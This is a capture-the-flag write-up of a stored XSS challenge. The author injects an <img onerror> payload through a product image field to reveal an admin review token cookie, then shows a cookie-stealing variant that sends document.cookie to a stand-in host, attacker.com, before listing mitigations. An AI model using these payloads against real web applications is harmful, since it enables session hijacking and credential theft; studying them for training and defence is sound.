Home > Writeups > WHAMazon! Web 3 - The Review Queue

WHAMazon! Web 3 - The Review Queue

Exploiting a stored XSS vulnerability in a seller product submission form via an unsanitized image field to steal an admin review token.

The Review Queue

Challenge Description

WHAM-9000 personally reviews every seller submission. It trusts what it sees. It shouldn't.

Flag: Raptor{flag3_cr0ss_s1t3_scr1pt1ng_x55_1nj3ct10n}


Recon

The /seller endpoint lets users submit products with fields for Product Title, Description, Price, Quantity Available, Category, and Product Image URL. The flavor text is a pretty direct hint: "it trusts what it sees", something that gets rendered is being trusted without validation.

The image field jumped out immediately, image inputs that render submitted content are a classic stored XSS vector.


Exploitation

Rather than a URL pointing to a real image, I fed the image field an XSS payload using an <img> tag with an onerror event handler. The onerror fires when the image fails to load (which it will, since src="x" is intentionally broken):

<img src="x" onerror="alert(document.cookie)">

Submitted the product, then refreshed the page. The payload executed and a dialog popped with the admin's cookies:

wham_admin_review_token=Raptor%7Bflag3_cr0ss_s1t3_scr1pt1ng_x55_1nj3ct10n%7D

URL-decoded: Raptor{flag3_cr0ss_s1t3_scr1pt1ng_x55_1nj3ct10n}

The flag was sitting in a cookie that the admin reviewer's session was carrying, and the stored XSS in the review queue executed it right in the browser.


Why This Works

This is stored XSS, the payload is saved to the database and executed whenever the page is loaded by any user, including privileged ones. The image field was being rendered as raw HTML without sanitization, meaning any HTML or JavaScript passed in would be treated as legitimate markup.

The <img onerror> vector is particularly useful because:

  • It doesn't require user interaction beyond page load
  • It bypasses naive filters that only look for <script> tags
  • The broken src is guaranteed to trigger onerror every time

In a real attack, alert(document.cookie) would be swapped out for an exfiltration payload:

<img src="x" onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

Key Takeaways

Never trust user-supplied input that ends up rendered in the browser. Image fields are not exempt, anything that gets written into the DOM needs to be sanitized. Proper mitigations here would include HTML encoding on output, a strict Content Security Policy, and the HttpOnly flag on sensitive cookies (which would have prevented cookie theft even if XSS was present).

< Back to All Writeups